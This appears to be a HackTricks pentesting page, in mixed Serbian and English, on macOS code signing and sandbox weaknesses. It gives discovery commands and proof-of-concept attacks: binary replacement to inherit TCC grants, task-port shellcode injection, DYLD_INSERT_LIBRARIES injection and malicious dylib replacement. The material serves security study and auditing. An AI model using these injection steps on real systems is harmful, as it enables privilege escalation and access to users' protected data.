macOS Code Signing Weaknesses & Sandbox Escapes

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Ad-Hoc Signed Binaries

Basic Information

Ad-hoc signing (CS_ADHOC) pravi code signature sa bez certificate chain — to je hash koda bez verifikacije identiteta developera. Poreklo binarnog fajla se ne može pratiti do bilo kog developera ili organizacije.

Na Apple Silicon Macs, svi izvršni fajlovi zahtevaju najmanje ad-hoc potpis. To znači da ćete naći ad-hoc potpise na mnogim development alatima, Homebrew paketima i third-party utilitijima.

Why This Matters

• No verifiable identity — binarni fajl se može zameniti bez otkrivanja od strane provera zasnovanih na identitetu
• Third-party ad-hoc binarni fajlovi na privileged positions (FDA, daemon, helpers) su mete visokog prioriteta
• Na nekim konfiguracijama, ad-hoc potpisi možda ne budu proveravani as strictly kao developer-signed code
• Ad-hoc potpisani binarni fajlovi koji imaju TCC grants su posebno vredni — grantovi opstaju čak i ako se sadržaj binarnog fajla promeni (zavisi kako je TCC keyed the grant)

Discovery

# Find ad-hoc signed binaries
find /usr/local /opt /Applications -type f -perm +111 -exec sh -c '
flags=$(codesign -dvv "{}" 2>&1 | grep "CodeDirectory flags")
echo "$flags" | grep -q "adhoc" && echo "AD-HOC: {}"
' \; 2>/dev/null

# Check a specific binary
codesign -dv --verbose=4 /path/to/binary 2>&1 | grep -E "Signature|flags|Authority"
# Ad-hoc shows: "Signature=adhoc" and no Authority lines

Napad: Binary Replacement

# If an ad-hoc signed daemon binary is in a writable location:
# 1. Check the binary's current capabilities
codesign -d --entitlements - /path/to/target 2>&1

# 2. Note its TCC grants in the database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, auth_value FROM access WHERE client LIKE '%target%';"

# 3. Replace the binary (if location is writable)
cp /tmp/malicious-binary /path/to/target

# 4. Re-sign with ad-hoc signature (mimics the original)
codesign -s - /path/to/target

# 5. On next launch, the daemon runs your code with the original's TCC grants
# (This works when TCC keyed the grant by path rather than code signature)

Procesi koji se mogu debugovati (get-task-allow)

Osnovne informacije

The com.apple.security.get-task-allow entitlement (or CS_GET_TASK_ALLOW flag) omogućava bilo kojem procesu da se prikači kao debugger, čitajući memoriju, menjajući registre, ubacujući kod i kontrolišući izvršavanje.

Ovo je namenjeno samo za development builds. Međutim, neke third-party binarne dolaze sa ovim entitlement-om u produkciji.

Caution

A production binary with get-task-allow is an instant exploitation primitive. Any local process can call task_for_pid(), get the target’s Mach task port, and inject arbitrary code that runs with the target’s entitlements, TCC grants, and security context.

Otkrivanje

# Find debuggable binaries
find /Applications /usr/local -type f -perm +111 -exec sh -c '
codesign -d --entitlements - "{}" 2>&1 | grep -q "get-task-allow.*true" && echo "DEBUGGABLE: {}"
' \; 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path, privileged FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'get_task_allow_signature'
ORDER BY e.privileged DESC;"

Napad: Task Port Injection

#include <mach/mach.h>
#include <mach/mach_vm.h>

// Get the target's task port (requires get-task-allow on target)
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);

if (kr == KERN_SUCCESS) {
// Allocate memory in target process
mach_vm_address_t addr = 0;
mach_vm_allocate(task, &addr, shellcode_size, VM_FLAGS_ANYWHERE);

// Write shellcode into target
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);

// Make it executable
mach_vm_protect(task, addr, shellcode_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);

// Create a remote thread to execute the shellcode
// The shellcode runs with ALL of the target's entitlements and TCC grants
}

Bez validacije biblioteka + DYLD okruženje

Smrtonosna kombinacija

Kada binarni fajl ima oba:

• com.apple.security.cs.disable-library-validation (učitava bilo koji dylib)
• com.apple.security.cs.allow-dyld-environment-variables (prihvata DYLD env vars)

Ovo je zagarantovani primitiv za injektovanje koda — DYLD_INSERT_LIBRARIES radi savršeno.

Otkrivanje

# Find binaries with the deadly combo
find /Applications -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "disable-library-validation.*true" && \
echo "$ents" | grep -q "allow-dyld-environment.*true" && \
echo "INJECTABLE: {}"
' \; 2>/dev/null

# Using the scanner (both flags)
sqlite3 /tmp/executables.db "
SELECT path, privileged, tccPermsStr FROM executables
WHERE noLibVal = 1 AND allowDyldEnv = 1
ORDER BY privileged DESC;"

Napad: DYLD_INSERT_LIBRARIES Injection

# 1. Create the injection dylib
cat > /tmp/inject.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void injected(void) {
// This runs BEFORE main() in the target's process
// We inherit ALL of the target's:
// - Entitlements
// - TCC grants (camera, mic, FDA, etc.)
// - Sandbox exceptions
// - Mach port rights

FILE *f = fopen("/tmp/injected_proof.txt", "w");
fprintf(f, "Running as PID %d with target's privileges\n", getpid());
fclose(f);

// Example: if target has camera TCC, we can now capture video
// Example: if target has FDA, we can read any file
}
EOF

# 2. Compile the dylib
cc -shared -o /tmp/inject.dylib /tmp/inject.c

# 3. Inject into the target
DYLD_INSERT_LIBRARIES=/tmp/inject.dylib /path/to/noLibVal-dyldEnv-binary

# 4. Verify injection
cat /tmp/injected_proof.txt

Privremeni izuzeci za Sandbox

Kako oni oslabljuju Sandbox

Privremeni izuzeci za Sandbox (com.apple.security.temporary-exception.*) prave rupe u App Sandbox:

Mach-Lookup izuzeci = Sandbox Escape primitiv

Najopasniji izuzetak je mach-lookup — omogućava aplikaciji u Sandbox-u da komunicira sa privilegovanim daemonima:

# Find apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
count=$(echo "$ents" | grep -c "mach-lookup")
echo "[$count exceptions] $(basename "$1")"
}
}
' _ {} \; 2>/dev/null | sort -rn

Napad: Sandbox Escape via Mach-Lookup

1. Compromise sandboxed app (renderer exploit, malicious document, etc.)
2. Read entitlements to discover mach-lookup exceptions
3. For each reachable service:
a. Connect via NSXPCConnection
b. Discover the service's protocol (class-dump, strings)
c. Fuzz each exposed method
4. Find a vulnerability in a privileged daemon
5. Exploit → code execution in the daemon's context (outside sandbox)

Privatne Apple entitlements

Šta su

Entitlements prefixed with com.apple.private.* pružaju pristup internim Apple API-jima koji nisu dokumentovani niti dostupni developerima treće strane. Binarni fajlovi trećih strana sa privatnim entitlements dobijaju ih putem enterprise cert, MDM, ili distribucije van App Store-a.

Opasne privatne entitlements

Otkrivanje

# Find third-party binaries with private entitlements
find /Applications /usr/local -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "com.apple.private" && {
echo "=== {} ==="
echo "$ents" | grep "com.apple.private" | head -10
}
' \; 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE privateEnts = 1 AND isAppleBin = 0
ORDER BY privileged DESC;"

Prilagođeni Sandbox profili (SBPL)

Šta su

Binarni fajlovi mogu dolaziti sa prilagođenim sandbox profilima napisanim u SBPL (Seatbelt Profile Language). Ovi profili mogu biti strožiji ILI manje restriktivni od podrazumevanog App Sandbox.

Revizija prilagođenih profila

# Find custom sandbox profiles
find /Applications /System -name "*.sb" -o -name "*.sbpl" 2>/dev/null

# Dangerous SBPL rules to flag during audit:
# (allow file-write*)         — Write to ANY file
# (allow process-exec*)       — Execute ANY process
# (allow mach-lookup*)        — Connect to ANY Mach service
# (allow network*)            — Full network access
# (allow iokit*)              — Full IOKit access
# (allow file-read*)          — Read ANY file

# Example: Audit a sandbox profile for overly permissive rules
cat /path/to/custom.sb | grep "(allow" | sort -u

Upisive putanje biblioteka

Šta su

Kada binarni fajl učita dinamičku biblioteku iz putanje u kojoj trenutni korisnik može pisati, biblioteka može biti zamenjena zlonamernim kodom.

Otkrivanje

# Using the scanner — find privileged binaries loading from writable paths
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged
FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'execs_writable_path'
ORDER BY e.privileged DESC
LIMIT 30;"

# Manual check: list library dependencies and check writability
otool -L /path/to/binary | awk '{print $1}' | while read lib; do
[ -f "$lib" ] && [ -w "$lib" ] && echo "WRITABLE: $lib"
done

Napad: Dylib Replacement

# 1. Find the writable library
otool -L /path/to/target-daemon | grep "/usr/local\|/opt\|Library"

# 2. Back up the original
cp /path/to/writable.dylib /tmp/original.dylib

# 3. Create a replacement that re-exports the original
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void evil(void) {
system("id > /tmp/escalated.txt");
}
EOF
cc -shared -o /tmp/evil.dylib /tmp/evil.c \
-Wl,-reexport_library,/tmp/original.dylib

# 4. Replace the library
cp /tmp/evil.dylib /path/to/writable.dylib

# 5. When the daemon restarts, it loads the evil dylib with daemon privileges

Referencije

• Apple Developer — Code Signing Guide
• Apple Developer — App Sandbox
• Apple Developer — Entitlements
• The Evil Bit — clear-library-validation

Tip

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Podrži HackTricks

• Pogledaj pretplatničke planove!
• Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
• Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.